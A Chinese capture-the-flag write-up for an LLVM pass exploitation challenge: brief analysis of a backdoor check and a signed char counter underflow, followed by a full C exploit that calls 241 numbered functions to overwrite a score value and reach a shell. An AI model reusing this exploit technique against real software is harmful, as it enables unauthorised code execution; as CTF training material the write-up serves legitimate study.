题目分析
- 做过前两个llvm的题,逆向基本已经没有什么问题了,题目逻辑都看得懂,题目中有个很明显的后门函数
if ( (__int64)*score > 0x12345678 ) backdoor();
- 但是有个很困惑的地方是weaponlist是一个db类型的数组,所以正常赋值肯定无法满足后门函数的条件。这个题还有个误导人的地方就是给了可以处理cmd值的函数,更让人觉得是要通过一堆数值运算让cmd=“cat flag”
- 最后有个函数才是真正的漏洞利用点

- 同时发现这个cnt是个char型,-127~128,有很明显的负数溢出,懂了原理这个负数溢出也是相当的简单
exp
// clang-8 -emit-llvm -S exp.c -o exp.ll
void winmt000(int x);
void winmt001(int x);
void winmt002(int x);
void winmt003(int x);
void winmt004(int x);
void winmt005(int x);
void winmt006(int x);
void winmt007(int x);
void winmt008(int x);
void winmt009(int x);
void winmt010(int x);
void winmt011(int x);
void winmt012(int x);
void winmt013(int x);
void winmt014(int x);
void winmt015(int x);
void winmt016(int x);
void winmt017(int x);
void winmt018(int x);
void winmt019(int x);
void winmt020(int x);
void winmt021(int x);
void winmt022(int x);
void winmt023(int x);
void winmt024(int x);
void winmt025(int x);
void winmt026(int x);
void winmt027(int x);
void winmt028(int x);
void winmt029(int x);
void winmt030(int x);
void winmt031(int x);
void winmt032(int x);
void winmt033(int x);
void winmt034(int x);
void winmt035(int x);
void winmt036(int x);
void winmt037(int x);
void winmt038(int x);
void winmt039(int x);
void winmt040(int x);
void winmt041(int x);
void winmt042(int x);
void winmt043(int x);
void winmt044(int x);
void winmt045(int x);
void winmt046(int x);
void winmt047(int x);
void winmt048(int x);
void winmt049(int x);
void winmt050(int x);
void winmt051(int x);
void winmt052(int x);
void winmt053(int x);
void winmt054(int x);
void winmt055(int x);
void winmt056(int x);
void winmt057(int x);
void winmt058(int x);
void winmt059(int x);
void winmt060(int x);
void winmt061(int x);
void winmt062(int x);
void winmt063(int x);
void winmt064(int x);
void winmt065(int x);
void winmt066(int x);
void winmt067(int x);
void winmt068(int x);
void winmt069(int x);
void winmt070(int x);
void winmt071(int x);
void winmt072(int x);
void winmt073(int x);
void winmt074(int x);
void winmt075(int x);
void winmt076(int x);
void winmt077(int x);
void winmt078(int x);
void winmt079(int x);
void winmt080(int x);
void winmt081(int x);
void winmt082(int x);
void winmt083(int x);
void winmt084(int x);
void winmt085(int x);
void winmt086(int x);
void winmt087(int x);
void winmt088(int x);
void winmt089(int x);
void winmt090(int x);
void winmt091(int x);
void winmt092(int x);
void winmt093(int x);
void winmt094(int x);
void winmt095(int x);
void winmt096(int x);
void winmt097(int x);
void winmt098(int x);
void winmt099(int x);
void winmt100(int x);
void winmt101(int x);
void winmt102(int x);
void winmt103(int x);
void winmt104(int x);
void winmt105(int x);
void winmt106(int x);
void winmt107(int x);
void winmt108(int x);
void winmt109(int x);
void winmt110(int x);
void winmt111(int x);
void winmt112(int x);
void winmt113(int x);
void winmt114(int x);
void winmt115(int x);
void winmt116(int x);
void winmt117(int x);
void winmt118(int x);
void winmt119(int x);
void winmt120(int x);
void winmt121(int x);
void winmt122(int x);
void winmt123(int x);
void winmt124(int x);
void winmt125(int x);
void winmt126(int x);
void winmt127(int x);
void winmt128(int x);
void winmt129(int x);
void winmt130(int x);
void winmt131(int x);
void winmt132(int x);
void winmt133(int x);
void winmt134(int x);
void winmt135(int x);
void winmt136(int x);
void winmt137(int x);
void winmt138(int x);
void winmt139(int x);
void winmt140(int x);
void winmt141(int x);
void winmt142(int x);
void winmt143(int x);
void winmt144(int x);
void winmt145(int x);
void winmt146(int x);
void winmt147(int x);
void winmt148(int x);
void winmt149(int x);
void winmt150(int x);
void winmt151(int x);
void winmt152(int x);
void winmt153(int x);
void winmt154(int x);
void winmt155(int x);
void winmt156(int x);
void winmt157(int x);
void winmt158(int x);
void winmt159(int x);
void winmt160(int x);
void winmt161(int x);
void winmt162(int x);
void winmt163(int x);
void winmt164(int x);
void winmt165(int x);
void winmt166(int x);
void winmt167(int x);
void winmt168(int x);
void winmt169(int x);
void winmt170(int x);
void winmt171(int x);
void winmt172(int x);
void winmt173(int x);
void winmt174(int x);
void winmt175(int x);
void winmt176(int x);
void winmt177(int x);
void winmt178(int x);
void winmt179(int x);
void winmt180(int x);
void winmt181(int x);
void winmt182(int x);
void winmt183(int x);
void winmt184(int x);
void winmt185(int x);
void winmt186(int x);
void winmt187(int x);
void winmt188(int x);
void winmt189(int x);
void winmt190(int x);
void winmt191(int x);
void winmt192(int x);
void winmt193(int x);
void winmt194(int x);
void winmt195(int x);
void winmt196(int x);
void winmt197(int x);
void winmt198(int x);
void winmt199(int x);
void winmt200(int x);
void winmt201(int x);
void winmt202(int x);
void winmt203(int x);
void winmt204(int x);
void winmt205(int x);
void winmt206(int x);
void winmt207(int x);
void winmt208(int x);
void winmt209(int x);
void winmt210(int x);
void winmt211(int x);
void winmt212(int x);
void winmt213(int x);
void winmt214(int x);
void winmt215(int x);
void winmt216(int x);
void winmt217(int x);
void winmt218(int x);
void winmt219(int x);
void winmt220(int x);
void winmt221(int x);
void winmt222(int x);
void winmt223(int x);
void winmt224(int x);
void winmt225(int x);
void winmt226(int x);
void winmt227(int x);
void winmt228(int x);
void winmt229(int x);
void winmt230(int x);
void winmt231(int x);
void winmt232(int x);
void winmt233(int x);
void winmt234(int x);
void winmt235(int x);
void winmt236(int x);
void winmt237(int x);
void winmt238(int x);
void winmt239(int x);
void winmt240(int x);
void fight(int x);
void gamestart()
{
winmt000(0);
winmt001(0);
winmt002(0);
winmt003(0);
winmt004(0);
winmt005(0);
winmt006(0);
winmt007(0);
winmt008(0);
winmt009(0);
winmt010(0);
winmt011(0);
winmt012(0);
winmt013(0);
winmt014(0);
winmt015(0);
winmt016(0);
winmt017(0);
winmt018(0);
winmt019(0);
winmt020(0);
winmt021(0);
winmt022(0);
winmt023(0);
winmt024(0);
winmt025(0);
winmt026(0);
winmt027(0);
winmt028(0);
winmt029(0);
winmt030(0);
winmt031(0);
winmt032(0);
winmt033(0);
winmt034(0);
winmt035(0);
winmt036(0);
winmt037(0);
winmt038(0);
winmt039(0);
winmt040(0);
winmt041(0);
winmt042(0);
winmt043(0);
winmt044(0);
winmt045(0);
winmt046(0);
winmt047(0);
winmt048(0);
winmt049(0);
winmt050(0);
winmt051(0);
winmt052(0);
winmt053(0);
winmt054(0);
winmt055(0);
winmt056(0);
winmt057(0);
winmt058(0);
winmt059(0);
winmt060(0);
winmt061(0);
winmt062(0);
winmt063(0);
winmt064(0);
winmt065(0);
winmt066(0);
winmt067(0);
winmt068(0);
winmt069(0);
winmt070(0);
winmt071(0);
winmt072(0);
winmt073(0);
winmt074(0);
winmt075(0);
winmt076(0);
winmt077(0);
winmt078(0);
winmt079(0);
winmt080(0);
winmt081(0);
winmt082(0);
winmt083(0);
winmt084(0);
winmt085(0);
winmt086(0);
winmt087(0);
winmt088(0);
winmt089(0);
winmt090(0);
winmt091(0);
winmt092(0);
winmt093(0);
winmt094(0);
winmt095(0);
winmt096(0);
winmt097(0);
winmt098(0);
winmt099(0);
winmt100(0);
winmt101(0);
winmt102(0);
winmt103(0);
winmt104(0);
winmt105(0);
winmt106(0);
winmt107(0);
winmt108(0);
winmt109(0);
winmt110(0);
winmt111(0);
winmt112(0);
winmt113(0);
winmt114(0);
winmt115(0);
winmt116(0);
winmt117(0);
winmt118(0);
winmt119(0);
winmt120(0);
winmt121(0);
winmt122(0);
winmt123(0);
winmt124(0);
winmt125(0);
winmt126(0);
winmt127(0);
winmt128(0);
winmt129(0);
winmt130(0);
winmt131(0);
winmt132(0);
winmt133(0);
winmt134(0);
winmt135(0);
winmt136(0);
winmt137(0);
winmt138(0);
winmt139(0);
winmt140(0);
winmt141(0);
winmt142(0);
winmt143(0);
winmt144(0);
winmt145(0);
winmt146(0);
winmt147(0);
winmt148(0);
winmt149(0);
winmt150(0);
winmt151(0);
winmt152(0);
winmt153(0);
winmt154(0);
winmt155(0);
winmt156(0);
winmt157(0);
winmt158(0);
winmt159(0);
winmt160(0);
winmt161(0);
winmt162(0);
winmt163(0);
winmt164(0);
winmt165(0);
winmt166(0);
winmt167(0);
winmt168(0);
winmt169(0);
winmt170(0);
winmt171(0);
winmt172(0);
winmt173(0);
winmt174(0);
winmt175(0);
winmt176(0);
winmt177(0);
winmt178(0);
winmt179(0);
winmt180(0);
winmt181(0);
winmt182(0);
winmt183(0);
winmt184(0);
winmt185(0);
winmt186(0);
winmt187(0);
winmt188(0);
winmt189(0);
winmt190(0);
winmt191(0);
winmt192(0);
winmt193(0);
winmt194(0);
winmt195(0);
winmt196(0);
winmt197(0);
winmt198(0);
winmt199(0);
winmt200(0);
winmt201(0);
winmt202(0);
winmt203(0);
winmt204(0);
winmt205(0);
winmt206(0);
winmt207(0);
winmt208(0);
winmt209(0);
winmt210(0);
winmt211(0);
winmt212(0);
winmt213(0);
winmt214(0);
winmt215(0);
winmt216(0);
winmt217(0);
winmt218(0);
winmt219(0);
winmt220(0);
winmt221(0);
winmt222(0);
winmt223(0);
winmt224(0);
winmt225(0);
winmt226(0);
winmt227(0);
winmt228(0);
winmt229(0);
winmt230(0);
winmt231(0);
//opt-8中的sh
winmt232(0x6B);
winmt233(0x69);
winmt234(0x44);
winmt235(0x00);
winmt236(0);
winmt237(0);
winmt238(0);
winmt239(0);
//score=0x44696b9090
winmt240(0x90);
winmt240(0x90);
winmt232(0x6B);
winmt233(0x69);
winmt234(0x44);
winmt235(0x00);
fight(0);
}